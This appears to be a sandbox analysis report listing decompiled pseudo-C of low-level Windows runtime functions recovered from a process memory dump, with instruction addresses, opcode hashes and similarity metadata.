								E012F6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E01297D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E012B9AE0();
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L01292400( &_v36);
							if(_v24 >= 0) {
								_t87 = L01292400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L01292400( &_v52);
							}
							if(_v28 >= 0) {
								return L01292400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x012f6dd4
0x012f6dde
0x012f6de1
0x012f6de3
0x012f6de6
0x012f6de9
0x012f6dec
0x012f6def
0x012f6df2
0x012f6df5
0x012f6dfe
0x012f6e04
0x012f6e09
0x012f6e0d
0x012f6e18
0x012f6e1b
0x012f6e22
0x012f6e2d
0x012f6e30
0x012f6e36
0x012f6e42
0x012f6e4d
0x012f6e50
0x012f6e55
0x012f6e5c
0x012f6e6e
0x012f6e5e
0x012f6e67
0x012f6e67
0x012f6e73
0x012f6e74
0x012f6e77
0x012f6e7c
0x012f6e7d
0x012f6e8e
0x012f6e93
0x012f6e9c
0x012f6ea8
0x012f6eab
0x012f6eac
0x012f6eb3
0x012f6ecd
0x012f6edc
0x012f6ee2
0x012f6ee5
0x012f6ef2
0x012f6efb
0x012f6f01
0x012f6f06
0x012f6f0b
0x012f6f11
0x012f6f1a
0x012f6f22
0x012f6f26
0x012f6f26
0x012f6f33
0x012f6f41
0x012f6f44
0x012f6f47
0x012f6f54
0x012f6f65
0x012f6f77
0x012f6f7c
0x012f6f82
0x012f6f91
0x012f6f99
0x012f6fa3
0x012f6fae
0x012f6fae
0x012f6fba
0x012f6fbb
0x012f6fbc
0x012f6fc1
0x012f6fc2
0x012f6fd3
0x012f6fd8
0x012f6fd8
0x012f6fdf
0x012f6fe8
0x012f6fee
0x012f6fee
0x012f6ff5
0x012f6ffb
0x012f6ffb
0x012f7004
0x00000000
0x012f700a
0x012f7004
0x012f6eb3
0x012f6e9c
0x012f7015

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 7fe035339c47b0daa50be922bfa6dee182b865c4e3b6e594723bbbaef2aa4c52
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 3A716C71A1061AEFDB10DFA9C984EEEFBB9FF48714F104169E605E7250DB34AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012752A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E012752A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E0128EEF0(0x13679a0);
					_t104 =  *0x1368210; // 0xd42d00
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E0128EB70(_t93, 0x13679a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E012B9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E0128EEF0(0x13679a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E0128EB70(0, 0x13679a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0xd42d0d
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E012AF0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E0128EEF0(0x13679a0);
									__eflags =  *0x1368210 - _t104; // 0xd42d00
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x1368210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E012F4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E0128EB70(_t95, 0x13679a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E012B95D0();
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E012B95D0();
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E0128EB70(_t93, 0x13679a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E012AF0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x012752a5
0x012752ad
0x012752b0
0x012752b3
0x012752b7
0x012752ba
0x012752bf
0x012752c4
0x012752cc
0x00000000
0x00000000
0x012752ce
0x012752d9
0x012752dd
0x012752e7
0x012752f7
0x012752f9
0x012752fd
0x012d0dcf
0x012d0dd5
0x012d0dd6
0x012d0dd7
0x012d0dd8
0x012d0dd9
0x012d0dde
0x012d0ddf
0x012d0de0
0x012d0de1
0x012d0de2
0x012d0de5
0x012d0dea
0x012d0dec
0x012d0f60
0x012d0f64
0x012d0f70
0x012d0f76
0x012d0f79
0x012d0f79
0x00000000
0x012d0f64
0x012d0df2
0x012d0df7
0x012d0e04
0x012d0e0d
0x012d0e0d
0x012d0e10
0x012d0e1a
0x012d0e1c
0x012d0e4c
0x012d0e52
0x012d0e61
0x012d0e67
0x012d0e6b
0x012d0e70
0x012d0e76
0x012d0ed7
0x012d0edc
0x012d0ee0
0x012d0ee6
0x012d0eea
0x012d0eed
0x012d0ef0
0x012d0ef3
0x012d0ef6
0x012d0ef9
0x012d0efe
0x012d0f01
0x012d0f01
0x012d0f0b
0x012d0f12
0x012d0f16
0x012d0f18
0x012d0f1b
0x012d0f2c
0x012d0f31
0x012d0f31
0x012d0f35
0x012d0f39
0x012d0f3a
0x012d0f3c
0x012d0f3f
0x012d0f50
0x012d0f55
0x012d0f55
0x012d0f59
0x012752eb
0x012752f1
0x012752f1
0x012d0e7d
0x012d0e84
0x012d0e88
0x012d0e8a
0x012d0e8d
0x012d0e9e
0x012d0ea3
0x012d0ea3
0x012d0ea7
0x012d0eaf
0x012d0eb3
0x012d0eb9
0x012d0eb9
0x012d0ebc
0x012d0ecd
0x012d0ecd
0x00000000
0x012d0eb3
0x012d0e21
0x012d0e2b
0x012d0e2f
0x012d0e30
0x012d0e3a
0x012d0e3f
0x012d0e41
0x00000000
0x00000000
0x012d0e47
0x00000000
0x012d0e47
0x012d0df9
0x012d0dfe
0x00000000
0x00000000
0x00000000
0x012d0dfe
0x01275303
0x01275307
0x00000000
0x01275309
0x00000000
0x01275309
0x01275307
0x012752e9
0x012752e9
0x00000000
0x012752e9
0x0127530e
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866d22e7af54a018bfe507f22d03b41da97ba95e517f446edf70d36f700ae72c
Instruction ID: e4f1fbd43a26d1fcd948c62cfdc67cd0d8c0062953b2bd20fcf180a263dd557f
Opcode Fuzzy Hash: 866d22e7af54a018bfe507f22d03b41da97ba95e517f446edf70d36f700ae72c
Instruction Fuzzy Hash: 4251FF70165342AFD721EF28C845B2BBBE8FF54714F10491EF695876A1E7B0E840CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 012A2AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A2AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x1368204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x1368208; // 0x1368207
				_t8 = _t57 + 0x1368208; // 0x1368207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x1368450; // 0x0
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x136821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x1366d5c; // 0x7fb20654
							_t72 =  *0x1366d5c; // 0x7fb20654
							_t75 =  *0x1366d5c; // 0x7fb20654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x1366d5c; // 0x7fb20654
							_t84 =  *0x1366d5c; // 0x7fb20654
							_t87 =  *0x1366d5c; // 0x7fb20654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E012BF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x012a2ae4
0x012a2aec
0x012a2aef
0x012a2af4
0x012a2af7
0x012a2afd
0x012a2b92
0x012a2b92
0x012a2b97
0x012a2b9c
0x012a2b9c
0x012a2b03
0x012a2b06
0x012a2b09
0x012a2b09
0x012a2b0f
0x012a2b15
0x012a2b15
0x012a2b1b
0x012a2b1e
0x012a2b21
0x012a2b26
0x012a2b29
0x012a2b81
0x012a2b84
0x012a2c0e
0x012a2c15
0x012a2c24
0x012a2c24
0x012a2b8a
0x012a2b8a
0x012a2b8a
0x012a2b8a
0x012a2b90
0x00000000
0x00000000
0x00000000
0x00000000
0x012a2b4a
0x012a2b4a
0x012a2b4d
0x012a2b53
0x00000000
0x00000000
0x012a2b55
0x012a2b58
0x012a2bb7
0x012e5d1b
0x012e5d37
0x012e5d47
0x012e5d53
0x012a2bbd
0x012a2bbd
0x012a2bbd
0x012a2bb7
0x012a2b5d
0x012a2c2f
0x012e5d5b
0x012e5d77
0x012e5d87
0x012e5d93
0x012a2c35
0x012a2c35
0x012a2c35
0x012a2c2f
0x012a2b65
0x012a2b9f
0x012a2ba2
0x012a2b67
0x012a2b67
0x012a2b69
0x012a2b6b
0x012a2b6e
0x012a2bc9
0x012a2bcc
0x012a2bcf
0x012a2bd4
0x012a2bd6
0x012a2bd6
0x012a2bdb
0x012a2c02
0x012a2c05
0x012a2c07
0x00000000
0x012a2c07
0x012a2be0
0x012a2c00
0x012a2c3f
0x012a2c3f
0x00000000
0x012a2c00
0x012a2be5
0x012a2be7
0x012a2bec
0x012a2bf4
0x012a2bf6
0x00000000
0x012a2bf6
0x012a2b70
0x012a2b76
0x012a2b2b
0x012a2b2b
0x012a2b2d
0x012a2b2f
0x012a2b32
0x012a2b35
0x012a2b3a
0x00000000
0x012a2b40
0x012a2b43
0x012a2b45
0x012a2b47
0x012a2b4a
0x012a2b4d
0x012a2b53
0x00000000
0x00000000
0x00000000
0x012a2b53
0x012a2b78
0x012a2b78
0x012a2b7b
0x012a2b7e
0x00000000
0x012a2b7e
0x012a2b76
0x012a2ba5
0x012a2ba5
0x012a2ba8
0x012a2bad
0x00000000
0x00000000
0x012a2baf
0x012a2baf
0x012a2bc2
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1b1bdf069b033d84c04ca086e16a89891ce7c194ef466cd701f5860f3f61b9
Instruction ID: 47a6daf987c8368f7af1919b41e812c75d44cdc6bfa07801421e318d9b5cd8e5
Opcode Fuzzy Hash: cc1b1bdf069b033d84c04ca086e16a89891ce7c194ef466cd701f5860f3f61b9
Instruction Fuzzy Hash: FF51D576B20115CFCB18CF1CC891ABDB7F5FB98700756885AE846AB365E730AE51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0133AE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0133AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E0133C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E0133ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E0133FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E0133EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E01297D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E01331608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E01341536(0x1368ae4, (_t74 -  *0x1368b04 >> 0x14) + (_t74 -  *0x1368b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L0133C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E0133A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E0131CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E0133ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x0133ae44
0x0133ae4c
0x0133ae53
0x0133ae55
0x0133ae5c
0x0133ae64
0x0133ae68
0x0133ae75
0x0133ae75
0x0133ae78
0x0133ae7a
0x0133ae7c
0x0133ae7f
0x0133aea8
0x0133aeab
0x0133aead
0x00000000
0x00000000
0x0133aeb3
0x0133aeb8
0x0133aebb
0x0133aebd
0x00000000
0x0133ae81
0x0133ae88
0x0133ae8f
0x0133ae9b
0x0133ae96
0x0133ae96
0x0133ae96
0x0133aea0
0x0133aea3
0x0133aebf
0x0133aebf
0x0133aec3
0x0133aec9
0x0133af0d
0x0133af14
0x0133af3d
0x0133af3d
0x0133af41
0x0133af44
0x0133af67
0x0133af67
0x0133af6a
0x0133afca
0x0133afd1
0x00000000
0x0133afd1
0x0133af6c
0x0133af6d
0x0133af75
0x0133af7c
0x0133af7e
0x0133af80
0x0133af85
0x0133af87
0x0133af99
0x0133af89
0x0133af92
0x0133af92
0x0133af9e
0x0133afa1
0x0133afa3
0x0133afa9
0x0133afb0
0x0133afb2
0x0133afb4
0x0133afbc
0x0133afbc
0x0133afb4
0x0133afb0
0x00000000
0x0133afa1
0x0133af4f
0x0133af57
0x0133af5c
0x0133af5e
0x00000000
0x00000000
0x0133af60
0x0133af64
0x0133af64
0x00000000
0x0133af64
0x0133af1a
0x0133af25
0x00000000
0x00000000
0x0133af27
0x0133af28
0x0133af33
0x00000000
0x0133aed0
0x0133aed0
0x0133aed2
0x0133aee1
0x0133aee4
0x00000000
0x00000000
0x0133aee6
0x0133aeec
0x00000000
0x00000000
0x0133aefb
0x0133af07
0x0133afd3
0x0133afdb
0x0133afdb
0x00000000
0x0133af07
0x0133aed6
0x0133aed8
0x0133aedf
0x00000000
0x00000000
0x00000000
0x0133aedf
0x0133aec9

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a69af48c0e69f43d0e92b8cf27b336ff009026a7325b986a96798cb9e76935cc
Instruction ID: 186af75924c0a46c199fcc36e12aa82111ff511731d756d4574e4a67d022f4b1
Opcode Fuzzy Hash: a69af48c0e69f43d0e92b8cf27b336ff009026a7325b986a96798cb9e76935cc
Instruction Fuzzy Hash: 314125B17042019BE726CB2DCC84B3BBB99AFC4228F044319F99AC72D4DB34D805C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0129DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0129DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E0127CC50(E01274510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E01297D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E01348ED6(_t102, _t98);
						}
						_t76 = _v44;
						E01292280(_t58, _v44);
						E0129DD82(_v44, _t102, _t98);
						E0129B944(_t102, _v5);
						return E0128FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x1368628; // 0x0
							_v28 = _t67;
							_t68 =  *0x136862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x1368628; // 0x0
						_t105 = _v28;
						_t80 =  *0x136862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x133fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x0129dbe9
0x0129dbf2
0x0129dbf7
0x0129dbf9
0x0129dbfc
0x0129dc00
0x0129dc03
0x0129dc14
0x0129dd54
0x0129dd54
0x0129dd54
0x0129dc18
0x0129dc1d
0x0129dc1d
0x0129dc32
0x0129dc3b
0x0129dc3e
0x0129dc46
0x0129dd5b
0x0129dd62
0x0129dd64
0x0129dd67
0x0129dd69
0x0129dd6b
0x0129dd6e
0x0129dd70
0x0129dd73
0x0129dd73
0x00000000
0x0129dc4c
0x0129dc4e
0x012e3ae3
0x012e3ae8
0x012e3aea
0x0129dce7
0x0129dce9
0x0129dcec
0x0129dcee
0x0129dcf0
0x0129dcf3
0x0129dcf5
0x012e3af2
0x012e3af5
0x012e3af5
0x0129dd06
0x0129dd08
0x0129dd0b
0x0129dd12
0x012e3b08
0x0129dd18
0x0129dd18
0x0129dd18
0x0129dd20
0x0129dd23
0x012e3b16
0x012e3b16
0x0129dd29
0x0129dd2d
0x0129dd36
0x0129dd40
0x0129dd51
0x0129dd51
0x0129dc54
0x0129dc59
0x0129dc59
0x0129dc5e
0x0129dc5e
0x0129dc63
